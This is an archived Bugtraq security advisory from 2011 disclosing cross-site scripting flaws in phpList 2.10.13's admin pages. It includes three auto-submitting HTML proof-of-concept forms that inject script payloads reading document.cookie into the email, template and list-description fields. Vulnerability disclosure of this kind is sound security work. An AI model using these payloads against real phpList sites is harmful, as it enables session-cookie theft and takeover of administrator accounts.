Bugtraq mailing list archives

HTB22956: XSS vulnerabilities in phpList


From: advisory () htbridge ch
Date: Tue, 26 Apr 2011 16:07:46 +0200 (CEST)

Vulnerability ID: HTB22956
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ ) 
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011 
Vulnerability Type: XSS
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", 
"admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of 
this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, 
disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0"; 
method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value='email2 () example com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>


2.

<form action="http://host/admin/?page=template&id=TEMPLATE_ID"; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>


3.

<form action="http://host/admin/?page=editlist&id=1"; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>




Current thread: